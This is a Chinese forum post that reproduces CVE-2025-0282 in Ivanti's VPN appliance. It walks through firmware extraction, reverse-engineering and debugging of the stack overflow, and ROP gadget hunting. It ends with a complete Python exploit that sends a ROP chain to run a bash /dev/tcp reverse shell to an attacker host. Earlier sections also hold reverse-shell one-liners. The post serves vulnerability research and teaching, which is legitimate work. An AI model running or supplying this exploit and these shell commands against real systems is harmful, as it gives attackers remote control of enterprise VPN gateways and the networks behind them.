首页
社区
课程
招聘
[原创]ivanti CVE-2025-0282 漏洞复现
发表于: 3小时前 51

[原创]ivanti CVE-2025-0282 漏洞复现

3小时前
51

环境搭建

下载地址 :

66cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3N6h3I4K6k6i4A6@1j5g2)9J5k6h3u0D9L8$3u0Q4x3X3g2U0L8%4u0W2i4K6u0W2N6$3W2F1k6r3!0%4M7#2)9J5k6h3&6W2N6q4)9J5c8X3N6S2N6r3g2%4j5i4W2Q4x3V1k6F1M7$3q4Q4x3V1k6u0f1@1q4Q4x3X3c8h3i4K6u0V1g2V1#2i4b7g2u0q4i4K6u0V1d9f1y4e0i4K6u0V1x3U0u0Q4x3X3f1%4f1U0u0Q4x3X3f1K6i4K6u0V1x3K6b7K6x3g2)9J5k6e0q4Q4x3X3g2*7K9i4l9`.

双击ovf,确定虚拟机导入位置,等待它的初始化,等待一段时间后按照要求填写即可。

最后设置管理员账号密码,最后即可在浏览器访问到登陆界面。(注意把虚拟机网络桥接改为NAT

然后如下就是配置好了,访问地址即可

如图就是访问成功了

固件提取

直接对vmdk进行挂载,会发现被加密了,无法拿到文件系统,搜索相关文章。发现有两种提取固件的方式,一种方式是patch内存,还有一种是逆向启动流程分析解密算法进行文件系统解密

方法:patch内存

将虚拟机暂停后,会在虚拟机的目录下看到一个vmem的文件,这是该虚拟机的内存,如下:

我们将虚拟机挂起后,把该vmem文件拖到010 editor中对其进行修改,将所有内存文件中的/home/bin/dsconfig.pl字符串为///////////////bin/sh。(为什么是///////////////bin/sh,因为/home/bin/dsconfig.pl是21个字符,要保证/bin/sh也是21个字符所以前面添加 / 保证和/home/bin/dsconfig.pl一样长,这样才不会导致内存偏移发生改变。)

/home/bin/dsconfig.pl是控制台界面执行时需要调用的脚本文件,替换后启动虚拟机等待控制台界面超时后按“回车”,即可获取底层Shell。

修改完后启动虚拟机拿到shell

拿到shell后,我们要想办法拿到文件系统中的各个文件才能进行分析,由于ivanti里面不好操作,也不能粘贴复制,所以我们先反弹个shell远程操作,方便一点。

Ubuntu里面开两个窗口,分别监听88888889,8889用来输入命令,8888用来接收命令的返回。

然后在ivanti里面用telnet反弹shell

telnet IP 8888 | /bin/bash | telnet IP 8889
或者
bash -i >& /dev/tcp/IP/8888 0>&1

成功反弹shell,后面也方便操作了。

然后后面为了方便传输我们还是要开一个类似于FTP,方便后续文件的下载这些。

先查看当前服务器放行的端口

iptables -L -n

然后添加一个上面没有的,单独开一个端口来进行传输

iptables -A INPUT -p tcp --dport 8000 -j ACCEPT

然后用python来启动一个http服务即可,然后即可访问。

python -m SimpleHTTPServer 8000

下载我们需要的文件即/home/bin下的web就可以获得我们所需要分析的文件了。

传输文件

检查一下可以看到文件是i386的文件32位小端序。

为了方便后续的调试,我们还需要上传gdbserver到ivanti里面

下载地址:81eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6Z5N6h3N6K6P5g2)9J5c8X3N6V1j5W2)9J5k6s2y4@1j5i4c8A6j5#2)9J5c8X3u0D9L8$3u0Q4x3V1k6E0j5i4y4@1k6i4u0Q4x3V1k6Y4k6r3u0K6k6i4u0$3k6i4u0Q4x3X3b7%4i4K6u0W2x3e0m8Q4x3X3f1I4i4K6u0V1P5o6R3$3i4K6g2X3x3K6t1`.

下载好了后选择在/tmp目录下使用python脚本来进行传输,下面脚本在ivanti里面执行

recv.py

cat > 2.py << 'EOF'
import socket

filename = "gdbserver-static"

def listen_on_port(port=8888):
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind(('0.0.0.0', port))
    server_socket.listen(5)

    print("Listening on port %d..." % port)

    while True:
        client_socket, client_address = server_socket.accept()
        print("Connection from %s established." % str(client_address))

        try:
            received_data = ''
            while True:
                data = client_socket.recv(1024)
                if not data:
                    break
                received_data += data

            if received_data:
                with open(filename, "wb") as f:
                    f.write(received_data)
                print("[+] write to %s" % filename)
                print("[+] Received %d bytes" % len(received_data))
        except Exception as e:
            print("Error: %s" % str(e))
        finally:
            client_socket.close()

if __name__ == "__main__":
    listen_on_port(8888)
EOF

注意还是要开启:

iptables -A INPUT -p tcp --dport 8888 -j ACCEPT

send.py

这个在自己的机子里面执行,自己上传需要的文件

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.157.147', 8888))
with open("文件地址", 'rb') as file:
      content = file.read()
s.sendall(content)
s.close()

执行完上面两个脚本就能看到gdbserver已经上传到ivanti/tmp目录下了

记得赋执行权限,然后就能用/tmp/gdbserver-static执行gdb服务了,后面也就可以远程调试

分析

将web程序拖入IDA进行分析。

根据网上的漏洞报告可知漏洞在,sub_e3540这个函数,我们跟进分析一下。

上面已经把部分代码的解析给了出来,这里还有个需要注意的就是。

DSWSTncTransportAgentdMessageListener 类有一个虚函数表,其中应该包含消息处理函数。

下面分析消息处理函数也就是漏洞函数。

该函数最后会调用int __cdecl sub_E4AD0(int a1, IftTlsHeader *a2, char *a3)直接跟进分析一下。

如上图红框框中的可以看出,clientCapabilities_len表示的是我们前面发送过去的clientCapabilities字符串的长度。

*(_DWORD *)(a1 + 148): 获取 clientCapabilities 字符串缓冲区当前的 容量。DSStr::reserve(...): 如果当前容量不足以容纳 clientCapabilities_len + 1 个字节,则调用 reserve 函数重新分配更大的内存空间给 a1 + 140 指向的字符串缓冲区。

然后经过值的传递,最后v23 = *(_DWORD *)(a1 + 144) + 1;,紧接着下面的 strncpy 会进行拷贝,因此这里会触发栈溢出,由于是 32 位系统地址的特殊性(很少会发生0截断),使得我们可以几乎随意地设置 gadget

漏洞利用

尝试触发栈溢出

使用openconnect来触发栈溢出,先配置一下环境

sudo apt install -y \
    libxml2-dev \
    zlib1g-dev \
    openssl \
    libssl-dev \
    gnutls-dev \
    automake \
    autoconf \
    pkg-config \
    libtool \
    gettext

主要是为了编译openconnect,下载openconnect

git clone 617K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6G2M7r3g2F1j5$3!0F1L8X3g2U0N6q4)9J5c8X3!0H3k6h3&6U0L8$3&6F1k6h3y4@1i4K6u0W2k6$3W2@1

下载完后进入该目录,然后打开pulse.c文件,找到如下代码:

修改为:

if (bytes[0])
		buf_append(reqbuf, " clientIp=%s", bytes);
	buf_append(reqbuf, " clientCapabilities=%s", bytes);
	for (unsigned int n = 0; n < 100; n++)
		buf_append(reqbuf, "AAAAAAAAAAAAAAAA");
	buf_append(reqbuf, "\n%c", 0);
	ret = send_ift_packet(vpninfo, reqbuf);

完成之后开始编译

./autogrn.sh

./configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4

make

编译完成后我们就可以先测试一下:

./openconnect target_IP --protocol=pulse --dump-http-traffic -vvv

使用当前文件夹下也就是我们改版过的openconnect对目标站点(target_ip/需要根据自己IP进行修改)进行测试。--protocol=pulse指定使用Pulse Connect Secure协议,--dump-http-traffic显示所有HTTP请求和响应的原始数据。-vvv最高级别的调试。

这里解读一下输出信息:

这里是SSL/TLS握手阶段,这里因为我们服务器使用自签名证书,需要用户来选择信任,输入yes后才会继续链接。

这里是HTTP协议升级,从HTTPS升级到专用的IF-T/TLS协议。

主要是Pulse协议握手信息。以及后面的我们构造的payload.

调试

先开发一个端口方便后续远程调试能连上

iptables -A INPUT -p tcp --dport 1234 -j ACCEPT

然后查看一下端口,可以看到web程序是443端口,我们用gdbserverattach上该端口的PID即可。

./gdbserver-static 0.0.0.0:1234 --attach $(netstat -anptl | grep 443 | awk '{print $7}' | cut -d'/' -f1 | grep -v "-")

监听好了后在自己机上启用我们的gdb连接目标来进行调试

target remote 192.168.157.147:1234

如下面就是远程连接好了

然后在strcpy函数处打一个断点

下完断点后我们按c继续执行,然后再开一个终端执行一次openconnect发送我们的payload。(会经常失败,多调试多发送几遍payload就好了)

可以看到构超级长的 ientCapabilities 参数的时候就会栈溢出

free 的 崩溃现场:

为了更方便的查看strncpy干了什么我们把payload改小些,然后还是启动gdbserver,然后多发送几遍payload去卡到断点处。

for (unsigned int n = 0; n < 6; n++)
        buf_append(reqbuf, "AAAAAAAAAAAAAAAA");

只有栈溢出还不够,还需要劫持控制流来构造完整的攻击链,在sub_E4AD0函数溢出发生后还有一个指针

这里会去调用a1+72处的函数。我们查看一下dest处的内容:

如上图可以看到,我们输入的内容在dest的下面,而strncpy会从dest开始复制,导致溢出的话就能覆盖到a1的内容,也就是能篡改a1+72的值,然后我们把a1+72改成可用的gadget的话就能实现ROP。

但没有想象中那么简单,我们看看汇编代码:

loc_E51C3:             ; CODE XREF: sub_E4AD0+6EC↑j
 mov     edx, [esp+0A0Ch+var_9E0] 
 //将栈上偏移量为[esp+0A0Ch+var_9E0]的内存地址处存储的值加载到edx寄存器中。
 mov     eax, [esp+0A0Ch+arg_0]
 //获取a1指针
 mov     eax, [eax]  
 //通过a1获取vtable地址
 mov     [esp+0A0Ch+src], edx
 //将edx寄存器中的值(之前从[esp+0A0Ch+var_9E0]加载的,可能是源字符串地址或长度)保存到栈上src的位置
 mov     edx, [esp+0A0Ch+arg_0]
 //再次将栈上第一个参数的值加载到edx寄存器中
 mov     [esp+0A0Ch+n], 2Eh ; '.' ; int
 // 将数值2Eh(即字符.)保存到栈上n的位置
 mov     [esp+0A0Ch+var_A0C], edx
 //将edx寄存器中的值(之前从[esp+0A0Ch+arg_0]加载的)保存到栈上var_A0C的位置。
 call    dword ptr [eax+48h]
 //调用了一个函数。函数的地址是从eax指向的结构体中的偏移48h处获取的。虚函数调用,我们要做的就是在这里劫持。

这里是一个this 指针调用虚表函数的功能, 由于虚表指针在栈上, 这个栈是可以被我们覆盖的, 所以我们大概率就是需要找到一个虚表指针,他指向的虚表函数表, 这个表 +0x48 能有合适的gadget。(下图是原始的虚表)

根据 bc6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9j5h3u0K6i4K6u0W2N6$3q4@1j5$3S2@1L8%4N6J5i4K6u0W2j5$3!0E0i4K6u0r3k6i4S2H3L8r3!0A6N6r3q4@1K9h3!0F1i4K6u0V1N6$3q4D9K9%4c8Z5M7X3!0#2k6$3S2Q4x3X3c8S2L8X3c8Q4x3X3c8@1k6h3y4Z5L8X3W2I4N6h3g2K6i4K6u0V1K9i4k6S2L8Y4c8A6i4K6u0V1j5$3!0F1L8X3g2U0N6q4)9J5k6s2y4W2j5%4g2J5k6g2)9J5k6s2u0U0k6g2)9J5k6r3y4$3k6g2)9J5k6o6t1H3x3U0g2Q4x3X3b7H3x3U0R3J5i4K6u0r3 这个文章[2],观察这个作者的 A Gadget From The Gods,我们可以用该gadget去完成ROP

在这文章中作者提到了他的 gadget 的具体汇编,第一句是mov ebx, 0xfffffff0, 第二句是add esp, 0x204C

+--------------------------+
| gadget_0[0x48]           |
+--------------------------+
| mov ebx, 0xfffffff0      | <- Load value into EBX
+--------------------------+
| add esp, 0x204C          | <- Adjust stack pointer
+--------------------------+
| mov eax, ebx             | <- Copy EBX to EAX
+--------------------------+
| pop ebx                  | <- Restore EBX
+--------------------------+
| pop esi                  | <- Restore ESI
+--------------------------+
| pop edi                  | <- Restore EDI
+--------------------------+
| pop ebp                  | <- Restore EBP
+--------------------------+
| ret                      | <- Return to caller
+--------------------------

接下来就是要找到该gadget,由于调试时我们可以发现程序或加载很多额外的库文件,我们的gadget没准就在这些库文件中.

我们把/home/lib/文件都导出来来(像之前一样web下载。)

用该脚本去扫

#!/usr/bin/env python3
import subprocess
import os

for f in os.listdir('.'):
    if f.endswith('.so'):
        print(f"\n=== {f} ===")
        os.system(f"objdump -d -M intel {f} | grep -i 'add.*esp.*0x204c'")

然后可以发现在libdsplibs.so可以找到该gadget,这也是个swithc table

然后按照代码逻辑,我们只要反着算就行, 例如我们这里最后vtable 的地址是 0x11D88F8, 那么就需要有一个地址存储这个指针, 直接在 idabinary search里搜索

由于最后是执行 call dword ptr [eax+48h]所以0x11D8940-0x48=0x11D88F8

然后有由于会执行mov eax, [esp+0A0Ch+arg_0]mov eax, [eax],所以还要找一个地址储存的值是0x11D88F8

db1_11D88F8进行交叉引用, 所以我们最后要覆盖的this 指针地址为 0x00934F4C,后面正常rop 就行, 这里提一句libc的随机化是 0xfff位, 多核启动的时候会有一个主进程不断的fork子进程,因此我们爆破 0xfff次就一定能成功执行。

但本地调试的话爆破起来非常麻烦,所以我们可以去改一下内核配置,取消PIE随机化。

先看看ASLR(地址空间布局随机化) 的当前设置

ASLR 的三种级别
值   含义  说明
0   关闭  不进行任何地址随机化
1   部分开启    随机化 mmap 基址、栈、VDSO,但不随机化共享库位置(通常也是较弱的随机化)
2   完全开启    随机化所有区域:栈、堆、共享库、mmap、VDSO、executable 等

关闭ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

#验证是否为0
cat /proc/sys/kernel/randomize_va_space

# 重启web服务
killall web

#再从gdb中观察内存地址是否固定
target remote IP:1234

#查看内存布局
info proc mappings

经过调试可以看到,地址一直固定为0xf6525000

有了这个地址就方便多了,然后还有个问题就是openconnect并不能很好的发送ROP数据,因此我们还得用python来写,然后gadget都是来自于libdsplibs.so

exp

#!/usr/bin/env python3
"""
CVE-2025-0282 Exploit - 基于ad1.py,ASLR已关闭版本
libdsplibs.so base: 0xf6525000
"""
import sys
import socket
import ssl
import struct
from time import sleep


def log(txt):
    print(txt)


def exploit(target_ip, target_port, lhost, lport):
    log(f"[+] Targeting {target_ip}:{target_port}")

    # 22.7r2.4 b3597 gadgets (from libdsplibs.so)
    target = {
        'padding_to_vftable': 2288,
        'vftable_gadget_offset': 0x00934F4C,
        'padding_to_next_frame': 2934,
        'offset_to_got_plt': 0x00157c000,
        'gadget_inc_ebx_ret': 0x01338373,
        'gadget_mov_eax_esp_retn_c': 0x00ca2e84,
        'gadget_add_eax_8_ret': 0x007a040c,
        'gadget_mov_esp_eax_call_system': 0x004f0df3,
    }

    # 固定base地址 (ASLR disabled)
    libdsplibs_base = 0xf6525000

    log(f"[*] libdsplibs_base: 0x{libdsplibs_base:08x}")

    # 反弹shell命令
    cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1';#"
    cmd = cmd.replace(' ', '${IFS}')
    log(f"[*] Command: {cmd}")

    # 构造ROP buffer
    buffer = b'C' * target['padding_to_vftable']
    buffer += struct.pack('<I', libdsplibs_base + target['vftable_gadget_offset'])
    buffer += b'A' * target['padding_to_next_frame']
    buffer += struct.pack('<I', libdsplibs_base + target['offset_to_got_plt'] - 1)
    buffer += struct.pack('<I', 0xCAFEBEEF)  # esi
    buffer += struct.pack('<I', 0xCAFEBEEF)  # edi
    buffer += struct.pack('<I', 0xCAFEBEEF)  # ebp
    buffer += struct.pack('<I', libdsplibs_base + target['gadget_inc_ebx_ret'])
    buffer += struct.pack('<I', libdsplibs_base + target['gadget_mov_eax_esp_retn_c'])
    buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
    buffer += struct.pack('<I', 0xCAFEBEEF)
    buffer += struct.pack('<I', 0xCAFEBEEF)
    buffer += struct.pack('<I', 0xCAFEBEEF)
    buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
    buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
    buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
    buffer += struct.pack('<I', libdsplibs_base + target['gadget_add_eax_8_ret'])
    buffer += struct.pack('<I', libdsplibs_base + target['gadget_mov_esp_eax_call_system'])
    buffer += struct.pack('<I', 0xCAFEBEEF)
    buffer += cmd.encode()

    # 检查bad char
    if b'\x00' in buffer:
        log("[-] Buffer contains null byte!")
        return

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(15)

        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        s = ctx.wrap_socket(sock, server_hostname=target_ip)
        s.connect((target_ip, target_port))

        # HTTP Upgrade
        body = f"GET / HTTP/1.1\r\n"
        body += f"Host: {target_ip}:{target_port}\r\n"
        body += "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n"
        body += "Content-Type: EAP\r\n"
        body += "Upgrade: IF-T/TLS 1.0\r\n"
        body += "Content-Length: 0\r\n"
        body += "\r\n"

        s.send(body.encode())
        res = s.recv(4096)

        if b'101 Switching Protocols' not in res:
            log("[-] Failed to switch protocols")
            return

        log("[+] Protocol switched")

        # IFT_VERSION_REQUEST
        data = struct.pack('4B', 0, 1, 2, 2)
        pkt = struct.pack('>IIII', 0x00005597, 0x00000001, len(data) + 16, 0) + data
        s.send(pkt)

        log("[*] Sent version request")

        # Exploit packet
        data = b"clientHostName=abcdefgh clientIp=127.0.0.1 clientCapabilities=" + buffer + b"\n\x00"
        pkt = struct.pack('>IIII', 0x00000a4c, 0x00000088, len(data) + 16, 1) + data

        log(f"[*] Triggering exploit...")
        s.send(pkt)

        log("[+] Exploit sent! Check your listener.")

    except Exception as e:
        log(f"[-] Error: {e}")


if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <target_ip> <target_port> <lhost> <lport>")
        print(f"Example: {sys.argv[0]} 192.168.13.200 443 192.168.13.146 9999")
        sys.exit(1)

    target_ip = sys.argv[1]
    target_port = int(sys.argv[2])
    lhost = sys.argv[3]
    lport = int(sys.argv[4])

    exploit(target_ip, target_port, lhost, lport)









[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回